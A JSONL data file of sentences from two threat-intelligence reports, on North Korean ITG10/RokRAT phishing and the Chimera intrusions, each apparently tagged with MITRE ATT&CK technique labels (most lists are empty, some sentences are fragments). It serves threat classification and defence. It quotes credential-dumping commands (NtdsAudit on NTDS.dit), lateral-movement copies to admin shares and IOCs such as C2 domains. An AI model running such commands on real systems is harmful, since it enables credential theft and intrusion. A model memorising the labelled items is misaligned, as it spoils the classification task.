{"sentence": "An additional decoy document titled 계약서내용.pdf (Contract detail.pdf) appears to be associated with a national South Korean broadcaster.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In 2021, North Korean threat actors compromised several email accounts of prominent defectors to send malicious documents to contacts working on DPRK issues.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "ITG10 has also been known to infect news websites with malware likely to spy on readers.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "A third decoy 2023년도 4월 29일 세미나.pdf (April 29, 2023 Seminar.pdf) appears to be an itinerary for an event hosted in April 2023 by a South Korean think tank.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The event includes multiple seminars on political theory, military history, and a talk on “Intelligence activities and cyber security of the National Intelligence Service.”", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Members of this think tank include professors from multiple universities and South Korean government entities.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Based on the document’s content, academic and government employees, especially those in intelligence and cybersecurity, are probable targets for phishing emails containing this type of decoy document.", "labels": ["T1566.001"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The decoy files are a Microsoft Word Document and PDF copy of a document titled Proposed MOU GTE Korea.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The documents appear to be legitimate and establish a written Memorandum of Understanding (MOU) between an authentic privately owned Libyan energy company and a South Korean consulting firm specializing in energy, procurement, construction and finance (EPC&F).", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In addition, the zip contains a second non-malicious lure PDF titled MFZ Executive Summary Korea detailing a feasibility study regarding the development and expansion of the “sea port free zone of Misurata.”", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Based on the decoy content, the likely recipients of this phishing campaign would be organizations or individuals involved with a construction project in the Middle East.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The Middle East has been a traditional customer for many large-scale construction projects for multiple South Korean companies, and there has been a recent push by the South Korean administration to what’s known as the ‘2nd construction boom’.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "These construction projects are part of the South Korean government’s pivot to the Middle East, deepening ties both militarily and economically.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Sample Analysis RokRAT has been previously analyzed as having a multi-stage process with two components.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The first involves tooling, and the second involves the payload, likely to inhibit researchers from analyzing the final payload, while maintaining the ability to stop delivery once a target system is infected.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "RokRAT campaigns typically begin with a phishing email with a ZIP file attachment, containing a LNK file disguised as a Word document.", "labels": ["T1566.001"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "When the LNK file is activated, a PowerShell script is executed, opening a decoy document to start the download process of RokRAT which is hosted at OneDrive or similar cloud application.", "labels": ["T1105"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "ISO Files The ISO files that X-Force observed contained a LNK file disguised as an exe icon, subsequently containing a HWP file, and a batch file.", "labels": ["T1027", "T1059.003"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The LNK file contains a PowerShell command, as seen below as an example.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In this instance, the files were 2023년도 4월 29일 세미나.pdf – decoy file, and 230415.bat.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "icon_location = C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe PowerShell Commands: Related Malware?", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "While researching the RokRAT-related files, X-Force also uncovered three LNK files that behave differently than expected.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "There is no use of OneDrive or similar cloud applications to host a second-stage payload, and instead of dropping a batch file, these LNK files drop VBS, with the obfuscation technique for the dropped files being hex-encoding vs. string concatenation.", "labels": ["T1027"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In addition, the RokRAT LNK files drop batch files and downloads the payload that is decoded using the first byte as a key, then the payload is executed using Windows API functions (VirtualProtect).", "labels": ["T1059.003", "T1105", "T1106", "T1140"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "With these additional LNK files, the VBS downloaders do not perform these actions.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In one analyzed sample, the files dropped were a VBS file (tmp<random-9-digit-number>.vbs ), and a Plaintext file with contents asdfgqwert.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The VBS file will get executed via Wscript.exe: “C:\\Windows\\System32\\WScript.exe” “C:\\Users\\Usuario\\AppData\\Local\\Temp\\tmp<nine-digit-number>.vbs”.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Wscript.exe is a service Wscript.exe is a service provided by the Windows system with scripting abilities.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "At the time of this analysis, X-Force was unable to retrieve the final payload from the servers as they have been taken down; therefore, it is uncertain whether these additional LNK files are related to ITG10 activity.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Further research and analysis are needed to determine relevance and attribution.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Decoded PowerShell: tmp1698268529.vbs GET Requests: Proof of Digital Assets JPEG X-Force Recommendations Multiple lure documents uncovered in this campaign suggest ITG10 continues to target individuals and organizations involved in foreign policy, potentially related to shifts in the geopolitical and security environment on the Korean peninsula.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "IBM X-Force assesses with high confidence that individuals and organizations holding strategic, political, or military information in connection with the Korean peninsula will see elevated threats from the DPRK, given ITG10’s previous and recent activity.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Organizations that may be at elevated risk of targeting from ITG10 have the potential to decrease the risk to their organization by employing heightened vigilance toward potential phishing emails, warning employees of the phishing email threats, employing and closely monitoring endpoint detection and response (EDR) tools, and leveraging behavioral analytics to identify malicious behavior.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "We also recommend that potentially targeted organizations alert on the following indicators of compromise to detect behavior related to this campaign.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Indicators of Compromise Indicator Indicator Type Context f92297c4efabba98befeb992a009462d1aba6f3c3a11210a7c054ff5377f0753 LNK 7ef2c0d2ace70fedfe5cd919ad3959c56e7e9177dcc0ee770a4af7f84da544f1 PDF Decoy 2023년도 4월 29일 세미나.pdf 06431a5d8f6262cc3db39d911a920f793fa6c648be94daf789c11cc5514d0c3d Batch File 230415.bat 1c5b9409243bfb81a5924881cc05f63a301a3a7ce214830c7a83aeb2485cc5c3 ZIP (0722)상임위원회 및 상설특별위원회 위원 명단(최종).zip cb4c7037c7620e4ce3f8f43161b0ec67018c09e71ae4cea3018104153fbed286 LNK 5815a6f7976e993fcdf9e024f4667049ec5a921b7b93c8c8c0e5d779c8b72fcc HWP Decoy 0722.hwp 240e7bd805bd7f2d17217dd4cebc03ac37ee60b7fb1264655cfd087749db647a Batch File 202207221.bat 9854750f3880c7cee3281d8c33292ca82d0d288963f0f2771d938c06ccaffaa9 LNK ce56b011ac4663a40f0ba606c98c08aaf7caf6a45765aa930258fe2837b12181 PDF Decoy 계약서내용.pdf cc6ae9670e38244e439711b1698f0db3cff000b79bec7f47bc4aa5ab1f6177c0 Batch File 230422.bat 00d88009fa50bfab849593291cce20f8b2f2e2cf2428d9728e06c69fced55ed5 ZIP projects in Libya.zip 6753933cd54e4eba497c48d63c7418a8946b4b6c44170105d489d29f1fe11494 LNK Pipelines Profile (Elfeel- Sharara-Mellitah + Wafa – Mellitah).lnk f1289e7229ace984027f29cf8e2dd8fdd19b0c4b488da31ff411ee95305eaecc docx Proposed MOU GTE Korea.docx fa2ebcdfce8bbe4245ed77b43d39e22c0c7593ca3f65be3fd0ccdf7ee02130a9 PDF Decoy Proposed MOU GTE Korea.pdf 76d0133d738876f314ae792d0cf949710b66266ba0cebefbd98ce40c64a9b15b PDF Decoy MFZ Executive Summary Korea.pdf 5678196f512f8a531c7d85af8df4f40c7a5f9c27331b361bb1a1c46d317a77d8 PDF Decoy 230130.pdf C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe Icon Location C:\\Program Files (x86)\\Hnc\\Office 2020\\HOffice110\\Bin\\Hwp.exe Icon Location hxxps[:]//api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBalFOTHZFRV9DVU9iUFdnLXhPZG8xRXFYckU_ZT1BM1QwV2Q/root/content URL Document Location hxxps[:]//api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRlNnFWazdDNHp2Yy1SekU_ZT1SSFZJSk4/root/content URL Document Location hxxps[:]//api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBaFFNUDZlZzhhUkZiN0xVMUNPQ2YzeE5vVFU_ZT1wZ2liaUM/root/content URL Document Location hxxps[:]//api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRiZnpnVU14TmJJbkM2Q0k_ZT1WZElLSjE/root/content URL Document Location hxxps[:]//api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBdTJteTF4aDZ0OFhnUjJNem1zOG5oUndvLTZCP2U9akhIQzZ5/root/content URL Document Location 6bab11d9561482777757f16c069ebef3f1cd6885dbef55306ffde30037a41d48 LNK 7529eaeeb29c713f8e15827c79001a9227d8bc31c9209bf524a4ff91648a526e VBS xn--vn4b27hka971hbue[.]kr C2 GET Request 50fe8a981a7d4824f0b297f37804b65672ed4484e198e7c324260a34941ddac7 LNK 3d1d2d0464013d9e1dd7611d73176f3a31328a41d6474d5b6d0582ad09d3b17d VBS partybbq.co[.]kr C2 GET Request 1ec4d60738a671f00089a86eeba6cb13750bce589e84fd177707718a4cc7d8f1 LNK 88c219656f853b2dc54ae02d32a716e10c8392ed471d1c813e57de2dc170951e VBS 7aa7233feb8e8a7b71ae6cdd0ddb8c2b192d4b6e131fed1ade82efdcb8096c57 JPEG Decoy Scroll to view full table To learn how IBM X-Force can help you with anything regarding cybersecurity including incident response, threat intelligence, or offensive security services schedule a meeting here: IBM X-Force Scheduler If you are experiencing cybersecurity issues or an incident, contact X-Force to help: US hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The post ITG10 Likely Targeting South Korean Entities of Interest to the Democratic People’s Republic of Korea (DPRK) appeared first on Security Intelligence.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In their intrusions they regularly abuse cloud services from Google and Microsoft to achieve their goals.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Our threat intelligence analysts noticed clear overlap between the various cases in infrastructure and capabilities, and as a result we assess with moderate confidence that one group was carrying out the intrusions across multiple victims operating in Chinese interests.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In open source this actor is referred to as Chimera by CyCraft.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "NCC Group and Fox-IT have seen this actor remain undetected, their dwell time, for up to three years.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "As such, if you were a victim, they might still be active in your network looking for your most recent crown jewels.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We contained and eradicated the threat from our client’s networks during incident response whilst our Managed Detection and Response (MDR) clients automatically received detection logic.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Throughout we use terminology to describe the various phases, tactics, and techniques of the intrusions standardized by MITRE with their ATT&CK framework .", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "From initial access to defense evasion: how it is done In all the intrusions we have observed they are performed in similar ways by the adversary: from initial access all the way to actions on objectives.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The objective in these cases appear to be stealing sensitive data from the victim’s networks.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Credential theft and password spraying to Cobalt Strike This adversary starts with obtaining usernames and passwords of their victim from previous breaches.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Network discovery and lateral movement", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "After this the adversary dumps the domain admin credentials from the memory of this machine, continues lateral moving through the network, and places Cobalt Strike beacons on servers for increased persistent access into the victim’s network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "If the victim’s network contains other Windows domains or different network security zones, the adversary scans and finds the trust relationships and jump hosts, attempting to move into the other domains and security zones.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary is typically able to perform all the steps described above within one day.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "During this process, the adversary identifies data of interest from the network of the victim.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "If the data is small enough, it is exfiltrated through the command and control channel of the Cobalt Strike beacons.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "However, usually the data is compressed with WinRAR, staged on another system of the victim, and from there copied to a OneDrive-account controlled by the adversary.", "labels": ["T1074.001"], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "After the adversary completes their initial exfiltration, they return every few weeks to check for new data of interest and user accounts.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But this isn’t done consistently across their engagements.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The earliest and longest lasting intrusion by this threat we observed, was at a company in the semiconductors industry in Europe and started early Q4 2017.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The techniques used to achieve access at the companies in the aviation industry closely resembles techniques used at victims in the semiconductors industry.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The threat used valid accounts against remote services: Cloud-based applications utilizing federated authentication protocols.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Our incident responders analysed the credentials used by the adversary and the traces of the intrusion in log files.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "They uncovered an obvious overlap in the credentials used by this threat and the presence of those same accounts in previously breached databases.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Besides that, the traces in log files showed more than usual login attempts with a username formatted as email address, e.g.<username>@<email domain>.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "While usernames for legitimate logins at the victim’s network were generally formatted like <domain>\\<username>.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "For the investigators at NCC Group and Fox-IT these pieces of evidence supported the hypothesis of the adversary achieving credentials access by brute force, and more specifically by credential stuffing or password spraying.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Initial access (TA0001)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In some of the intrusions the adversary used the valid account to directly login to a Citrix environment and continued their work from there.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In one specific case, the adversary now armed with the valid account, was able to access a document stored in SharePoint Online, part of Microsoft Office 365.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This specific document described how to access the internet facing company portal and the web-based VPN client into the company network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Within an hour after grabbing this document, the adversary accessed the company portal with the valid account.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The VPN was protected by two-factor authentication (2FA) by sending an SMS with a one-time password (OTP) to the user account’s primary or alternate phone number.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary used this opportunity to configure an alternate phone number controlled by the adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "By performing two-factor authentication interception by receiving the OTP on their own telephone number, they gained access to the company network via the VPN.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "However, they also made a mistake during this process within one incident.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Our hypothesis is that they tested the 2FA-system first or selected the primary phone number to send a SMS to.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "However the European owner of the account received a text message with Simplified Chinese characters on the primary phone number in the middle of the night Eastern European Time (EET).", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Thus the 2FA code was sent with supporting Chinese text.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Account discovery (T1087) With access into the network of the victim, the adversary finds a way to install a Cobalt Strike beacon on a system of the victim (see Execution).", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The built-in Windows quser-command to show logged on users is also heavily used by them.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary started a password spraying attack against those domain admin accounts, and successfully got a valid domain admin account this way.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We observed the use of Mimikatz on this system and saw the hashes of the logged in domain admin account going through the command and control channel of the adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary used a tool called NtdsAudit to dump the password hashes of domain users as well as we observed the following command: msadcs.exe \"NTDS.dit\" -s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "\"SYSTEM\" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv Note: the adversary renamed ntdsaudit.exe to msadcs.exe.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "ntds.dit Both ntdsutil and esentutl are by default installed on a domain controller.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "A tool used by the adversary which wasn’t installed on the servers by default, was DSInternals.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "DSInternals is a PowerShell module that makes use of internal Active Directory features.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The files and directories found on various systems of a victim match with DSInternals version 2.16.1.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We have found traces that indicate DSInternals was executed and at which time, which match with the rest of the traces of the intrusion.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We haven’t recovered traces of how the adversary used DSInternals, but considering the phase of the intrusion the adversary used the tool, it is likely they used it for either account discovery or privilege escalation, or both.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Execution (TA0002)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "It has been widely adopted by malicious threats as well.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The Cobalt Strike beacon is installed in memory by using a PowerShell one-liner.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "At least the following three versions of Cobalt Strike have been in use by the adversary: Cobalt Strike v3.8, observed Q2 2017Cobalt Strike v3.12, observed Q3 2018Cobalt Strike v3.14, observed Q2 2019 Fox-IT has been collecting information about Cobalt Strike team servers since January 2015.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Whenever a Cobalt Strike C2 channel was identified, Fox-IT performed lookups into the collection database.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "If a match was found, the configuration of the Cobalt Strike team server was analysed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This configuration was then compared against the other Cobalt Strike team servers to check for similarities in for example domain names, version number, URL, and various other settings.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "An example of the creation of such a scheduled task by the adversary: schtasks /create /ru", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Persistence (TA0003)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary loads the Cobalt Strike beacon in memory, without any persistence mechanisms on the compromised system.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary is still able to have persistent access by installing the beacon on systems with high uptimes, such as server.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Besides using the Cobalt Strike beacon, the adversary also searches for VPN and firewall configs, possibly to function as a backup access into the network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We haven’t seen the adversary use those access methods after the first Cobalt Strike beacons were installed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "After the first bulk of data is exfiltrated, the persistent access into the victim’s network is periodically used by the adversary to check if new data of interest is available.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "They also create a copy of the NTDS.dit and SYSTEM-registry hive file for new credentials to crack. Discovery (TA0007)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary applied a wide range of discovery tactics.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "You can find a summary of most of the commands used by the adversary to perform discovery at the end of this article.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "-a", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "<date>", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This command exports a text file with comma separated fields.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The text files contain the contents of the Security Event log after the specified date.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Psloglist is part of the Sysinternals toolkit from Mark Russinovich (Microsoft).", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The tool was used by the adversary on various systems to write events from the Windows Security Event Log to a text file.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "A possible intent of the adversary could be to identify if privileged users are active on the systems.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "If such a privileged user was recently active on a server the actor executes Cobalt Strike’s built-in Mimikatz to dump its credentials or password hash.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Account discovery tool: NtdsAuditCommand used: msadcs.exe", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "\"SYSTEM\" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "It imports the specified Active Directory database NTDS.dit and registry file SYSTEM and exports the found password hashes into RecordedTV_pdump.txt and user details in RecordedTV_users.csv.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "It allows the user to collect useful statistics related to accounts and passwords.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Network service scanningCommand used: get -b <start ip> -e <end ip> -p get -b <start ip> -e <end ip> Get.exe appears to be a custom tool used to scan IP-ranges for HTTP service information.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Though Fox-IT didn’t find any direct occurrences of the tool on the internet, the decompiled code showed strong similarities with the source code of a tool named GetHttpsInfo.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "GetHttpsInfo scans the internal network for HTTP & HTTPS services.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The reconnaissance tool getHttpsInfo is able to discover HTTP servers within the range of a network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The tool was shared on a Chinese forum around 2016.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Figure 1: Example of a download location for GetHttpsInfo.exe Lateral movement (TA0008)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary used the built-in lateral movement possibilities in Cobalt Strike.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Cobalt Strike has various methods for deploying its beacons at newly compromised systems.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We have seen the adversary using SMB, named pipes, PsExec, and WinRM.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary attempts to move to a domain controller as soon as possible after getting foothold into the victim’s network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This could be a webserver to carve data from memory, or a fileserver to copy IP, as we have both observed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary was able to find a dual homed system and compromise it.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "From there on they used it as a jump host into the higher security zone and started collecting the intellectual property stored on a file server in that zone.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In one event we saw the adversary compromise a Linux-system through SSH.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The user account was possibly compromised on the Linux server by using credential stuffing or password spraying: Logfiles on the Linux-system show traces which can be attributed to a credential stuffing or password spraying attack.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary is applying living off the land techniques very well by incorporating default Windows tools in its arsenal.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But not all tools used by the adversary are so called lolbins: As said before, they use Cobalt Strike.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "A few examples of commands we observed: copy get.exe \\\\<ip>\\c$\\windows\\temp\\ copy msadc*", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "As described before, the adversary collected data from an information repository, Microsoft SharePoint Online in this case.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This document was exfiltrated and used to continue the intrusion via a company portal and VPN.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In all cases we’ve seen the adversary copying results of the discovery phase, like file- and directory lists from local systems, network shared drives, and file shares on remote systems.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "How this data is obtained likely differs per victim, but we observed the usage of several custom DLL files used to continuously retrieve data from memory of systems where such data is typically processed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
